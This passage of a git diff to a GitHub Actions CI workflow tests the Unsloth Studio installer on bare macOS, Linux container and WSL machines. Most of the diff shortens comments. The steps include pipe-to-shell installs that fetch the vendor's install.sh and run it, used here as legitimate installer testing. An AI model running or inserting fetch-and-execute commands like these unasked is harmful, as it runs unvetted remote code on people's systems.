windows: ${{ steps.pick.outputs.windows }}
windows_container_install: ${{ steps.pick.outputs.windows_container_install }}
- # The consumer container leg is nightly-only, and an empty matrix is a workflow error
- # rather than an empty job, so the probe and the install both gate on this count.
+ # An empty matrix is a workflow error, so downstream jobs gate on this count.
windows_container_install_count: ${{ steps.pick.outputs.windows_container_install_count }}
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -203,8 +139,7 @@ jobs:
with:
python-version: '3.12'
- # Pinned to the PyYAML the workflow guards run under, so the file parses the same
- # way here as in tests/studio/test_install_matrix_selection.py.
+ # Pinned to match tests/studio/test_install_matrix_selection.py.
- name: Install PyYAML
run: pip install pyyaml==6.0.2
@@ -227,25 +162,20 @@ jobs:
continue-on-error: ${{ matrix.experimental }}
env:
- # uv's managed Python is not stored in the ordinary download cache on macOS.
- # Isolate both so every row exercises the first-download dylib patch path.
+ # Isolate both caches so every row exercises the first-download dylib patch path.
UV_CACHE_DIR: ${{ github.workspace }}/.clean-machine/uv-cache
UV_PYTHON_INSTALL_DIR: ${{ github.workspace }}/.clean-machine/uv-python
- # Explicit legs, not a full cross-product: the interesting dimensions are (does
- # the toolchain exist) x (how the script is delivered), not every pairing. The legs
- # themselves are in .github/ci/clean-machine-matrix.yml.
strategy:
fail-fast: false
matrix: ${{ fromJSON(needs.select.outputs.macos) }}
steps:
- # checkout FIRST: it needs a working git, which masking then takes away.
+ # Checkout first: it needs git, which masking then removes.
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- # No actions/setup-python on purpose: install.sh must bring its own uv-managed
- # CPython, as it must on a user's machine.
+ # No setup-python on purpose: install.sh must bring its own CPython.
- name: Record the pre-masking toolchain
run: |
@@ -255,8 +185,6 @@ jobs:
echo "brew : $(command -v brew || echo none)"
echo "cmake : $(command -v cmake || echo none)"
echo "python3 : $(command -v python3 || echo none)"
- # Neither is documented for these images and both change what a binary may
- # do; one line settles it for anyone reading the artifact.
echo "spctl --status : $(spctl --status 2>&1 || true)"
echo "csrutil status : $(csrutil status 2>&1 || true)"
} | tee runner-baseline.txt
@@ -278,9 +206,7 @@ jobs:
run: |
set -a; . ./clean-machine.env; set +a
[ -n "$UNSLOTH_TOOL_TRACE" ] || { echo "::error::mask mode set no UNSLOTH_TOOL_TRACE"; exit 1; }
- # Prove the observation-only sentinel is on PATH without ever reaching Apple's
- # /usr/bin shim, then clear the self-test so the post-install zero-hit assertion
- # describes only the installer.
+ # Self-test the sentinel, then clear it so the zero-hit assertion covers only the installer.
bash .github/scripts/clean-machine-install-name-tool.sh \
verify-sentinel "$UNSLOTH_TOOL_TRACE" clean-machine
UNSLOTH_CLEAN_ALLOW_WORKING='${{ matrix.allow_working }}' \
@@ -289,10 +215,7 @@ jobs:
- name: Verify the trace actually records
if: matrix.mode == 'trace'
run: |
- # `notools` reads an absence, so a shim dir that never reached PATH looks exactly
- # like an installer that touched nothing: prove the wrapper records before
- # trusting an empty file. The installer's own git use depends on what it installs,
- # so the call has to be explicit.
+ # Prove the wrapper records before trusting an empty trace file.
set -a; . ./clean-machine.env; set +a
[ -n "$UNSLOTH_TOOL_TRACE" ] || { echo "::error::trace mode set no UNSLOTH_TOOL_TRACE"; exit 1; }
git --version >/dev/null 2>&1 || true
@@ -301,8 +224,6 @@ jobs:
echo "PATH=$PATH"; command -v git; cat "$UNSLOTH_TOOL_TRACE" || true
exit 1
fi
- # notools reads where git ran from this record; without it every uv submodule
- # update is a hit, so say so here rather than as a toolchain use.
grep -q "$(printf '\t')--version$" "$UNSLOTH_TOOL_TRACE.git-cwd" 2>/dev/null || {
echo "::error::the git wrapper did not record its working directory"
exit 1
@@ -317,28 +238,21 @@ jobs:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
- # Empty (and so ignored) on the non-overlay legs, and on
- # `installer_source: published` too: the script under test is then production's,
- # which has no such hook, so overlaying this ref reports on neither honestly.
+ # Empty on non-overlay legs and on installer_source=published.
UNSLOTH_CI_SOURCE_OVERLAY: ${{ matrix.overlay && inputs.installer_source != 'published' && github.workspace || '' }}
run: |
set -a; . ./clean-machine.env; set +a
set -o pipefail
rc=0
FLAGS="${{ matrix.flags }}"
- # A consumer has no CI=true, no GITHUB_*, no RUNNER_*, so branching on any of them
- # is a hidden dependency nobody outside CI exercises. Scoped to the installer's
- # process so $GITHUB_OUTPUT still resolves; `case`, not `sed`, whose BRE has no
- # \| alternation on macOS.
+ # Strip CI/GITHUB_/RUNNER_ vars from the installer env; a consumer has none.
+ # Uses case, not sed: macOS BRE has no \| alternation.
CLEAN_ENV=""
for v in $(env | cut -d= -f1); do
case "$v" in CI|GITHUB_*|RUNNER_*) CLEAN_ENV="$CLEAN_ENV -u $v" ;; esac
done
echo "unset for the installer:$CLEAN_ENV"
- # A `published` dispatch asks whether unsloth.ai's script works, and only `pipe`
- # honoured it, so six of eight macOS rows ran the checked-out script under the
- # published label. Resolved once here for every delivery; empty on
- # pull_request/push, so automatic runs stay on this ref.
+ # Resolve the script once for every delivery so `published` is honoured everywhere.
SCRIPT=install.sh
if [ "${{ inputs.installer_source }}" = "published" ]; then
curl -fsSL https://unsloth.ai/install.sh -o published-install.sh
@@ -349,20 +263,14 @@ jobs:
fi
case "${{ matrix.delivery }}" in
file)
- # Isolates "installer logic broken" from "curl-pipe delivery broken".
env $CLEAN_ENV bash "$SCRIPT" $FLAGS 2>&1 | tee logs/install.log || rc=$?
;;
pipe)
- # The shape users actually run. install.sh is ~150KB of top-level statements,
- # so an early `exit` leaves the writer with a closed pipe -> `curl: (56)`;
- # piping a local file reproduces that without depending on unsloth.ai being
- # current. The published case re-fetches rather than piping $SCRIPT, because
- # the live transport is half of what this delivery tests.
+ # Pipe the script as users do: an early exit then shows up as curl: (56).
if [ "${{ inputs.installer_source }}" = "published" ]; then
curl -fsSL https://unsloth.ai/install.sh | env $CLEAN_ENV sh -s -- $FLAGS 2>&1 | tee logs/install.log || rc=$?
else
- # `sh -s --` with no further args passes an empty positional, so add
- # the separator only when there are flags.
+ # `sh -s --` with no args passes an empty positional, so add it only with flags.
if [ -n "$FLAGS" ]; then
cat install.sh | env $CLEAN_ENV sh -s -- $FLAGS 2>&1 | tee logs/install.log || rc=$?
else
@@ -371,25 +279,19 @@ jobs:
fi
;;
tauri)
- # Exactly how the desktop app invokes it: no tty, stdin closed. --tauri
- # rejects a custom UNSLOTH_STUDIO_HOME (it still uses the legacy
- # ~/.unsloth/studio root), so the workspace-scoped value every other leg uses
- # must be dropped or the installer exits before doing any work. The runner is
- # ephemeral, so the real home is just as disposable.
+ # Mimics the desktop app (no tty). --tauri rejects a custom UNSLOTH_STUDIO_HOME, so unset it.
env -u UNSLOTH_STUDIO_HOME $CLEAN_ENV \
bash "$SCRIPT" --tauri $FLAGS < /dev/null 2>&1 | tee logs/install.log || rc=$?
;;
esac
echo "install_rc=$rc" >> "$GITHUB_OUTPUT"
echo "installer exit code: $rc"
- # The pipe legs expose curl:(56); surface it, not bury it in a 4000-line log.
if grep -qE "curl: \(5[36]\)|Failure writing output to destination" logs/install.log; then
echo "::warning::curl reported a broken pipe -- an early exit killed the reader"
fi
exit "$rc"
- # install.sh ignores an unset UNSLOTH_CI_SOURCE_OVERLAY, so a typo in the matrix or
- # the expression silently puts every leg back on the released wheel.
+ # install.sh ignores an unset overlay var, so a typo would silently test the released wheel.
- name: Assert this ref's Python was really put under test
if: matrix.overlay && inputs.installer_source != 'published' && steps.install.outcome == 'success'
run: |
@@ -404,14 +306,10 @@ jobs:
run: |
set -a; . ./clean-machine.env; set +a
checks="nobuild"
- # `absent` ran only BEFORE the install, so an installer that quietly selected the
- # CLT or installed a compiler left the leg green. Re-run it after.
+ # Re-run absent after the install, not only before.
[ "${{ matrix.mode }}" = "mask" ] && checks="$checks absent nodylibtool"
[ "${{ matrix.mode }}" = "trace" ] && checks="$checks notools dylibpatch"
- # With a working git the default install clones its pinned git+ requirements, so
- # `notools` lets git fetch exactly those remotes and nothing else. The pins are read
- # from the package under test: an overlay-free leg installs the released wheel, whose
- # pin can differ from this checkout's, so the installed copy replaces the checkout's.
+ # Allow git only for the pinned git+ remotes, read from the installed package, not the checkout.
allow_git_from=""
for installed in "$UNSLOTH_STUDIO_HOME"/unsloth_studio/lib/python*/site-packages/studio/backend/requirements/diffusers-main.txt; do
if [ -f "$installed" ]; then allow_git_from="$allow_git_from $installed"; fi
@@ -426,8 +324,7 @@ jobs:
bash .github/scripts/clean-machine-assert.sh $checks
if [ "${{ matrix.mode }}" = "trace" ]; then
- # Validate the on-disk result, not only uv's argv. Field 4 is the first
- # hex-encoded dylib operand in the boundary-safe trace format.
+ # Field 4 is the first hex-encoded dylib operand in the trace format.
dylib_encoded=$(awk -F '\t' '$1 == "install_name_tool" { print $4; exit }' "$UNSLOTH_TOOL_TRACE")
dylib=$(bash .github/scripts/clean-machine-install-name-tool.sh decode "$dylib_encoded")
[ -n "$dylib" ] && [ -f "$dylib" ] || {
@@ -446,19 +343,14 @@ jobs:
if: steps.install.outcome == 'success'
run: |
set -a; . ./clean-machine.env; set +a
- # The tauri leg cannot honour UNSLOTH_STUDIO_HOME (see Install) and uses the
- # legacy root, where llama.cpp sits at <root>/llama.cpp and the venv at
- # <root>/studio: hence ~/.unsloth, not ~/.unsloth/studio.
+ # The tauri leg uses the legacy root ~/.unsloth.
if [ "${{ matrix.delivery }}" = "tauri" ]; then
HOME_DIR="$HOME/.unsloth"
else
HOME_DIR="$UNSLOTH_STUDIO_HOME"
fi
- # install.sh sets SKIP_TORCH for --no-torch AND, at install.sh:1880, for Intel
- # Macs, where upstream no longer publishes x86_64 macOS torch wheels. Reading
- # only matrix.flags asserted a torch the installer had deliberately skipped,
- # so the macos-15-intel leg could never pass.
+ # install.sh also skips torch on Intel Macs (no x86_64 wheels), not only for --no-torch.
skip_torch=0
if [ "${{ matrix.flags }}" = "--no-torch" ]; then
skip_torch=1
@@ -472,12 +364,9 @@ jobs:
PY="$HOME_DIR/unsloth_studio/bin/python"
fi
[ -x "$PY" ] || { echo "::error::installer left no managed Python at $PY"; exit 1; }
- # These representative native wheels load without the developer-only dylib patch.
if [ "$skip_torch" = 1 ]; then
"$PY" -c "import numpy, safetensors, tokenizers; print('native wheels loaded', numpy.__version__)"
- # A skipped torch has to be genuinely absent. Silently tolerating one would
- # hide a half-installed x86_64 wheel, which is the failure this leg exists
- # to catch.
+ # A skipped torch must be genuinely absent, to catch half-installed x86_64 wheels.
if "$PY" -c "import torch" 2>/dev/null; then
echo "::error::torch is importable on a leg where install.sh skips it"
exit 1
@@ -487,9 +376,7 @@ jobs:
"$PY" -c "import numpy, safetensors, tokenizers, torch; print('native wheels loaded', numpy.__version__, torch.__version__)"
fi
STUDIO_HOME="$HOME_DIR" bash .github/scripts/assert-llama-loads.sh
- # Rosetta 2 is on this runner and not on a fresh Mac, so llama-server launching
- # above does not prove it would for a user. Assert the arch of every payload
- # (llama.cpp, whisper.cpp, the Node prebuilt, uv) instead.
+ # Rosetta 2 is on the runner but not a fresh Mac, so assert payload architectures.
MACHO_ROOT="$HOME_DIR" bash .github/scripts/clean-machine-assert.sh macho
- name: Assert the uv guard left no temporary files
@@ -505,9 +392,7 @@ jobs:
- name: Restore the runner
if: always()
- # `|| true` swallowed everything, a genuinely broken restore included. The file
- # exists only once the strip ran and an earlier step can fail first, so skip
- # explicitly when it is absent and let a real failure surface.
+ # The file exists only once the strip ran; skip explicitly when absent rather than || true.
run: |
if [ -f .clean-machine/restore.sh ]; then
bash .clean-machine/restore.sh
@@ -519,8 +404,7 @@ jobs:
if: always()
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
- # Two rows differ only in `flags`, so flags must be in the name: artifacts are
- # immutable per run and the second upload 409s.
+ # flags must be in the name: rows differing only by flags would collide on upload.
name: clean-mac-${{ matrix.os }}-${{ matrix.mode }}-${{ matrix.delivery }}${{ matrix.flags && format('-{0}', matrix.flags) || '' }}
path: |
logs/
@@ -538,8 +422,7 @@ jobs:
container: ${{ matrix.image }}
timeout-minutes: 40
continue-on-error: ${{ matrix.experimental }}
- # Container jobs default to `sh -e` (dash), where `set -o pipefail` is an "Illegal
- # option" that kills the step before the installer starts.
+ # Container jobs default to dash, where set -o pipefail is illegal.
defaults:
run:
shell: bash
@@ -554,15 +437,11 @@ jobs:
printf '%-8s %s\n' "$t" "$(command -v $t 2>/dev/null || echo ABSENT)"
done | tee /tmp/container-baseline.txt
- # The advertised `curl | sh` cannot start on an image without curl, so the transport
- # is provisioned apart from the installer's own dependencies; all else stays absent.
+ # Provision only the bootstrap transport; everything else stays absent.
- name: Provision only the bootstrap transport
run: |
- # tar and gzip ride along on the overlay legs: with no actions/checkout (it needs
- # git), an archive over the same transport is the only way this ref's source gets
- # in. Neither is a compiler, git or cmake, so the premise holds.
- # One transport, never both: the wget-only row tests install.sh's wget branch,
- # unreachable while curl is on the box.
+ # tar/gzip let overlay legs fetch source without git. Never both transports: the wget-only
+ # row must reach install.sh's wget branch.
if [ "${{ matrix.wget_only }}" = "true" ]; then
pkgs="ca-certificates wget"
else
@@ -575,22 +454,17 @@ jobs:
dnf install -y -q $pkgs
fi
- # No actions/checkout on purpose: it needs git, and a container with git preinstalled
- # is not the clean machine under test. Fetch over the transport above, INSTALLER
- # included, so these legs validate a fix and not just the published script.
+ # No actions/checkout: it needs git. Fetch the installer from this ref instead.
- name: Fetch installer + assert script for this ref
run: |
mkdir -p logs .github/scripts
raw="https://raw.githubusercontent.com/${GITHUB_REPOSITORY}/${GITHUB_SHA}"
- # Whichever transport this row provisioned: the wget-only leg has no curl, and
- # this is the one download that cannot go through install.sh's own helper. Same
- # preference order it uses.
+ # Use whichever transport this row provisioned, same preference order as install.sh.
dl() {
if command -v curl >/dev/null 2>&1; then curl -fsSL "$1" -o "$2"
else wget -q -O "$2" "$1"; fi
}
dl "$raw/.github/scripts/clean-machine-assert.sh" .github/scripts/clean-machine-assert.sh
- # Empty on pull_request/push, so only an explicit dispatch tests unsloth.ai.
if [ "${{ inputs.installer_source }}" = "published" ]; then
dl https://unsloth.ai/install.sh install.sh
echo "installer: published (unsloth.ai)"
@@ -600,16 +474,13 @@ jobs:
fi
wc -l install.sh
- # The overlay needs a source tree and these legs have no actions/checkout. codeload
- # serves the same commit as a tarball over plain HTTPS, so this ref's Python gets in
- # without a git client.
+ # codeload serves this commit as a tarball, so no git client is needed.
- name: Fetch this ref's source tree for the overlay
if: matrix.overlay && inputs.installer_source != 'published'
run: |
set -e
mkdir -p ci-source
src="https://codeload.github.com/${GITHUB_REPOSITORY}/tar.gz/${GITHUB_SHA}"
- # See the step above: the wget-only leg has to fetch with wget.
if command -v curl >/dev/null 2>&1; then
curl -fsSL "$src" | tar -xz -C ci-source --strip-components=1
else
@@ -618,9 +489,7 @@ jobs:
[ -f ci-source/pyproject.toml ] || { echo "::error::source tarball for ${GITHUB_SHA} unpacked without a pyproject.toml"; ls -la ci-source; exit 1; }
echo "overlay source: $(pwd)/ci-source"
- # curl fetched install.sh above, so the no-transport leg cannot simply never install
- # it. Take it away afterwards: from the installer's view the machine can download
- # nothing, which is the case under test.
+ # Remove the transport after fetching install.sh so the installer can download nothing.
- name: Take the transport away again
if: matrix.no_transport
run: |
@@ -637,20 +506,14 @@ jobs:
if: matrix.nonroot
run: |
useradd -m tester
- # Switching user without a login shell keeps the caller's environment, so the
- # workflow-wide UNSLOTH_STUDIO_HOME follows tester in, and install.sh validates
- # that override in _resolve_studio_destinations (536-591), long before the
- # elevation gate (829-905). Without a writable target these legs die on "cannot
- # be created" rather than on what they ask about.
+ # Switching user without a login shell keeps UNSLOTH_STUDIO_HOME, which install.sh validates
+ # early, so it must be writable by tester.
mkdir -p "$UNSLOTH_STUDIO_HOME"
chown -R tester logs install.sh "$UNSLOTH_STUDIO_HOME"
- # The editable overlay writes .egg-info next to the pyproject.toml, so the source
- # tree must belong to tester too or the overlay fails on permissions instead.
+ # The editable overlay writes .egg-info into the source tree, so tester must own it.
if [ -d ci-source ]; then chown -R tester ci-source; fi
- # Not calling it is not the same as not having it: a leg that merely avoided the call
- # would pass on an image where elevation was available all along, and these two rows
- # claim there is none to be had.
+ # Prove elevation is truly unavailable, not merely uncalled.
- name: Prove the unprivileged user genuinely cannot elevate
if: matrix.nonroot
run: |
@@ -660,8 +523,7 @@ jobs:
echo "::error::tester resolved to uid 0, so this leg is not unprivileged"
exit 1
fi
- # Absent from disk, not merely off PATH: install.sh probes with `command -v`
- # (830), so an unreachable binary would still be a lie about the image.
+ # Check disk, not PATH: install.sh probes with command -v.
for p in /usr/bin/sudo /bin/sudo /usr/local/bin/sudo /usr/sbin/sudo /sbin/sudo; do
if [ -e "$p" ]; then
echo "::error::$p exists, so this image is not sudo-free"
@@ -672,22 +534,17 @@ jobs:
echo "::error::sudo resolves for tester; the no-elevation premise does not hold"
exit 1
fi
- # The capability, not just the tool: the escalation install.sh would attempt
- # writes the dpkg database, so an unwritable one is what blocks `apt-get install`.
+ # Check the capability: an unwritable dpkg database is what blocks apt-get install.
if su tester -c 'test -w /var/lib/dpkg/status'; then
echo "::error::tester can write the dpkg database, so it is effectively root"
exit 1
fi
echo "tester is unprivileged, has no sudo on disk, and cannot write dpkg state"
- # The mirror of the check above, for this row's other premise: every transport site
- # in install.sh probes `command -v curl` and prefers it (731, 1022, 2078, 3064), so a
- # leg that merely avoided the call would keep testing the curl branch and report the
- # wget one green.
+ # install.sh prefers curl everywhere, so prove it is absent or the wget branch is untested.
- name: Prove wget is the only transport
if: matrix.wget_only
run: |
- # On disk, not merely off PATH, for the same reason the elevation check is.
for p in /usr/bin/curl /bin/curl /usr/local/bin/curl /usr/sbin/curl /sbin/curl /snap/bin/curl; do
if [ -e "$p" ]; then
echo "::error::$p exists, so this leg is not wget-only"
@@ -700,13 +557,11 @@ jobs:
exit 1
fi
done
- # The package too, so a dependency that pulled the binary back in is caught
- # rather than silently reinstating the curl branch.
+ # Check the package too, so a dependency reinstalling curl is caught.
if dpkg-query -W -f='${Status}' curl 2>/dev/null | grep -q 'install ok installed'; then
echo "::error::the curl package is installed; the wget-only premise does not hold"
exit 1
fi
- # And tester really has the other one, or this is the no-transport case relabelled.
su tester -c 'command -v wget' >/dev/null 2>&1 || {
echo "::error::tester cannot reach wget, so this leg has no transport at all"
exit 1
@@ -716,41 +571,30 @@ jobs:
- name: Install (root)
id: install_root
if: ${{ !matrix.nonroot }}
- # Only the rows whose failure is the expected outcome (fedora41). `outcome` is
- # the pre-tolerance result, so every `install_root.outcome == 'success'` gate
- # below is unaffected.
+ # Only rows whose failure is expected; `outcome` is pre-tolerance so later gates still work.
continue-on-error: ${{ matrix.tolerate_install_failure == true }}
run: |
set -o pipefail
- # Resolved here, not in `env:`, so it tracks the step's real working directory:
- # a container job remaps the workspace, so this must not use github.workspace.
+ # Container jobs remap the workspace, so resolve the path here, not via github.workspace.
if [ -d ci-source ]; then
export UNSLOTH_CI_SOURCE_OVERLAY="$PWD/ci-source"
echo "overlaying this ref's source from $UNSLOTH_CI_SOURCE_OVERLAY"
fi
rc=0
- # Piped: the advertised command, and the shape that turns an early exit into
- # curl:(56).
cat install.sh | sh 2>&1 | tee logs/install.log || rc=$?
echo "installer exit code: $rc"
exit "$rc"
- # The no-elevation case the workflow was missing: everything absent AND no way to
- # become root, but with the transport the documented one-liner needs. Gating, and
- # asserted end to end by the same steps the root legs use.
- name: Install (unprivileged, no sudo)
id: install_nonroot
if: ${{ matrix.nonroot && !matrix.no_transport }}
run: |
set -o pipefail
- # su without a login shell keeps the environment, so this reaches tester.
if [ -d ci-source ]; then
export UNSLOTH_CI_SOURCE_OVERLAY="$PWD/ci-source"
echo "overlaying this ref's source from $UNSLOTH_CI_SOURCE_OVERLAY"
fi
rc=0
- # Piped, like the root legs: the advertised command, and the shape that turns
- # an early exit into curl:(56).
su tester -c 'cat install.sh | sh' 2>&1 | tee logs/install.log || rc=$?
echo "installer exit code: $rc"
exit "$rc"
@@ -766,9 +610,7 @@ jobs:
echo "installer exit code: $rc"
exit "$rc"
- # KNOWN OUTCOME PIN. The row is required and the step above is continue-on-error, so
- # without this a bootstrap outage or an unrelated early exit would be tolerated like
- # the intended diagnostic: every branch but the pinned outcome exits 1.
+ # The install step is continue-on-error, so pin the expected outcome; anything else exits 1.
- name: Assert the no-transport outcome is the elevation gate
if: always() && matrix.no_transport && steps.install_notransport.outcome != 'skipped'
run: |
@@ -778,9 +620,6 @@ jobs:
fi
[ -f logs/install.log ] || { echo "::error::the no-transport leg produced no install log"; exit 1; }
tail -40 logs/install.log
- # Both, so a failure anywhere else is still red: the transport must be what was
- # missing and the no-sudo branch of _smart_apt_install (install.sh:899-903) what
- # stopped it, not a prompt, a dpkg lock or a network error.
if ! grep -q "missing: curl" logs/install.log; then
echo "::error::the installer never reported the transport as missing; it did not reach the elevation gate"
exit 1
@@ -789,15 +628,13 @@ jobs:
echo "::error::the installer did not stop at the no-sudo branch of the apt helper; this is a new failure"
exit 1
fi
- # Actionable, not a bare `curl: (56)`: the message has to say what to run.
if ! grep -q "apt-get install -y curl" logs/install.log; then
echo "::error::the elevation gate did not print the command a user should run"
exit 1
fi
echo "::notice::known outcome: no transport and no way to elevate, refused with an actionable message"
- # The install step is tolerated, this is not: without it a bootstrap outage or an
- # unrelated early exit passes as the intended diagnostic.
+ # The install step is tolerated; this pin ensures only a known outcome passes.
- name: Assert the Fedora outcome is a known one
if: always() && matrix.label == 'fedora41'
run: |
@@ -807,33 +644,20 @@ jobs:
fi
[ -f logs/install.log ] || { echo "::error::fedora leg produced no install log"; exit 1; }
tail -40 logs/install.log
- # install.sh comes from this ref, so which of the two accepted outcomes applies
- # depends on which dependency gate this ref carries.
if grep -q "using prebuilt llama.cpp (missing:" logs/install.log; then
- # The gate no longer hard-stops on a non-apt distro: it warns that the optional
- # build tools are absent and carries on, and reaching that warning proves the
- # Linux gate did not stop the install. Past it, the accepted failure used to be
- # release lag -- the released install_python_stack.py has no "skip the triton
- # kernels when git is missing" guard, so it fetched the git+https requirement
- # with no git. The overlay makes that guard this ref's own code, so the triton
- # failure must NOT come back: accepting it would accept a regression as lag.
+ # With the overlay, the triton-without-git failure is this ref's code and must not return.
if grep -q "Installing triton kernels (pip) failed" logs/install.log; then
echo "::error::triton kernels still failed with this ref's install_python_stack.py overlaid, so its no-git skip did not hold"
exit 1
fi
- # Nothing past the dependency warning is acceptable any more: the one tolerated
- # failure was release lag, and the overlay removes that difference.
echo "::error::fedora got past the dependency warning and still failed, with this ref's Python overlaid; there is no known-good outcome left to accept"
exit 1
fi
- # This ref still hard-exits on a non-apt package manager. Pin that message so an
- # outage or unrelated early exit is not tolerated as the intended diagnostic.
if ! grep -qiE "Automatic system package installation is supported on apt-based|Fedora/RHEL: sudo dnf install" logs/install.log; then
echo "::error::fedora leg failed neither at the unsupported-package-manager gate nor past the dependency warning"
exit 1
fi
- # See the macOS job: proves the leg tests what its matrix row claims.
- name: Assert this ref's Python was really put under test
if: matrix.overlay && inputs.installer_source != 'published' && (steps.install_root.outcome == 'success' || steps.install_nonroot.outcome == 'success')
run: |
@@ -843,9 +667,7 @@ jobs:
}
echo "overlay applied; this leg exercised this ref's Python"
- # nobuild only reads the log, so an installer that exits 0 having done nothing
- # satisfies it. Unlike WSL and Windows, these required rows had no check that the
- # install produced anything runnable.
+ # nobuild only reads the log, so check the install produced something runnable.
- name: Assert the install is actually usable
if: steps.install_root.outcome == 'success' || steps.install_nonroot.outcome == 'success'
run: |
@@ -853,8 +675,7 @@ jobs:
[ -x "$VENV/bin/python" ] || { echo "::error::installer exited 0 but left no managed Python at $VENV/bin/python"; ls -la "$UNSLOTH_STUDIO_HOME" || true; exit 1; }
"$VENV/bin/python" -V
[ -x "$VENV/bin/unsloth" ] || { echo "::error::installer exited 0 but left no unsloth CLI at $VENV/bin/unsloth"; exit 1; }
- # Present is not runnable, and the Unix installer drives setup.sh directly, so
- # the console script is never exercised. Same check Windows and WSL run.
+ # The Unix installer never runs the console script, so exercise it here.
"$VENV/bin/unsloth" --version || {
echo "::error::the unsloth CLI is on disk but does not run"
exit 1
@@ -863,20 +684,12 @@ jobs:
- name: Assert llama.cpp came from the prebuilt bundle
if: steps.install_root.outcome == 'success' || steps.install_nonroot.outcome == 'success'
run: |
- # HONESTY NOTE: the ROOT legs START toolchain-free but do not stay that way. As
- # root, _smart_apt_install's first `apt-get install` (install.sh:797-799) succeeds
- # before the _SMART_APT_OPTIONAL guard (814-821) can suppress anything, so `cmake
- # git build-essential libcurl4-openssl-dev` really are installed mid-run: product
- # behaviour on any root Linux install, not a CI artefact. What must still hold is
- # that nothing USED them. `nobuild` reads Python builds only, and llama.cpp is the
- # one thing that silently falls back to a source compile once a compiler exists.
- # The unprivileged leg never gets that far, so there the same marker proves the
- # prebuilt path won with no compiler on the machine at all.
+ # Root legs legitimately apt-install cmake/git/gcc mid-run; assert llama.cpp did not use them
+ # (it silently falls back to a source build once a compiler exists).
for t in cmake git gcc; do
printf '%-6s %s\n' "$t" "$(command -v "$t" 2>/dev/null || echo ABSENT)"
done
- # install_llama_prebuilt.py:5629 writes this marker and a source-built tree has no
- # such metadata (studio/setup.sh:1517), so it is the one unambiguous signal.
+ # Only the prebuilt installer writes this marker; a source build has none.
META="$UNSLOTH_STUDIO_HOME/llama.cpp/UNSLOTH_PREBUILT_INFO.json"
if [ ! -f "$META" ]; then
echo "::error::llama.cpp carries no prebuilt metadata at $META, so it did not come from the prebuilt bundle; with the compiler installed above, that is the silent source build this workflow exists to rule out"
@@ -887,9 +700,6 @@ jobs:
echo "llama.cpp came from the prebuilt bundle:"
head -c 800 "$META"; echo
- # The claim this leg exists to make: a user with no elevation gets a full install
- # and the machine is no less clean afterwards. Without it the row proves only that
- # SOME install happened, which the root legs already show.
- name: Assert the unprivileged install elevated nothing
if: steps.install_nonroot.outcome == 'success'
run: |
@@ -903,22 +713,17 @@ jobs:
echo "::error::the unprivileged install put system packages on the machine:$left, so something escalated"
exit 1
fi
- # And it took the no-toolchain path knowingly rather than by accident.
if ! grep -q "using prebuilt llama.cpp (missing:" logs/install.log; then
echo "::error::the installer never reported the optional build tools as missing; it did not take the no-toolchain path"
grep -n "deps" logs/install.log | tail -20 || true
exit 1
fi
- # #7547 stopped the optional set escalating; either prompt coming back blocks an
- # unprivileged user on tools nothing here uses.
if grep -qE "We require sudo elevated permissions|No terminal to confirm on" logs/install.log; then
echo "::error::the installer tried to elevate for the optional build tools; #7547's no-escalation guard has regressed"
exit 1
fi
- # Absent at the start is not absent throughout, and only the whole-run claim makes the
- # leg mean anything: every download, the uv bootstrap included (install.sh:2232), went
- # through wget only if curl was never there to be preferred.
+ # Re-check curl after the install: wget must have carried every download.
- name: Re-prove curl never appeared, and that wget carried the install
if: matrix.wget_only && steps.install_nonroot.outcome == 'success'
run: |
@@ -932,9 +737,7 @@ jobs:
echo "::error::curl resolves after the install, so the run did not stay wget-only"
exit 1
fi
- # _check_linux_deps (install.sh:2077-2079) calls the transport missing only when
- # curl AND wget are both gone, so reaching it here would mean wget was not
- # recognised as a transport at all.
+ # install.sh reports a missing transport only when curl and wget are both absent.
if grep -q "missing: curl" logs/install.log; then
echo "::error::install.sh reported the transport as missing on a box that has wget, so it does not accept wget as one"
exit 1
@@ -962,18 +765,8 @@ jobs:
if-no-files-found: warn
# ── WSL ───────────────────────────────────────────────────────────────────
- # install.sh carries ~126 lines of WSL-specific logic (the `linux|wsl` dependency branch,
- # UNSLOTH_WSL_REROUTED, the Strix Halo reroute to 24.04) that had never run in CI:
- # tests/sh/test_strixhalo_wsl_reroute.sh mocks the environment, which catches nothing
- # about a real WSL. No third-party action either -- the official Ubuntu rootfs plus
- # `wsl --import` is deterministic and checksum-verifiable.
- #
- # Gating, deliberately: the only job that runs the real WSL branch, and the only one that
- # can catch a piped install being truncated (WSL shells out to Windows interop mid-script
- # and interop relays the stdin it inherited). #7548 is in main, so nothing to absorb.
- #
- # Off pull_request: a 50-minute windows-latest slot per push is too much for a branch
- # that changes rarely. Not a matrix job, so it gates here, not in the matrix file.
+ # WSL: the only job running install.sh's real WSL branch and catching interop truncating
+ # the piped script. Off pull_request for cost.
wsl:
name: wsl ubuntu-24.04
if: github.event_name != 'pull_request'
@@ -988,7 +781,6 @@ jobs:
- name: Import a fresh Ubuntu 24.04 WSL distro
shell: pwsh
run: |
- # WSL2 is present on windows-2022+ runner images; only a distro is missing.
wsl --set-default-version 2
$url = 'https://cloud-images.ubuntu.com/wsl/releases/24.04/20240423/ubuntu-noble-wsl-amd64-24.04lts.rootfs.tar.gz'
$expected = '2a790896740b14d637dbdc583cce1ba081ac53b9e9cdb46dc09a2f73abbd9934'
@@ -1001,7 +793,6 @@ jobs:
}
wsl --import unsloth-ci "$PWD/wsl-dist/instance" "$PWD/wsl-dist/rootfs.tar.gz" --version 2
wsl -d unsloth-ci -- uname -a
- # A freshly imported rootfs is genuinely bare: the clean machine, not a simulation.
wsl -d unsloth-ci -- sh -c 'for t in curl wget git gcc cmake python3 sudo; do printf "%-8s %s\n" "$t" "$(command -v $t || echo ABSENT)"; done'
- name: Enable process creation auditing, and prove the watcher sees a real compile
@@ -1009,43 +800,30 @@ jobs:
run: |
$ErrorActionPreference = 'Stop'
- # Watch-ForCompiler.ps1 unions two detectors, and its 4688 half needs the caller to turn
- # auditing on -- its no-match path returns an empty compiler list whenever the Security
- # log merely reads clean. Without this step that half is silently dead here, so a compile
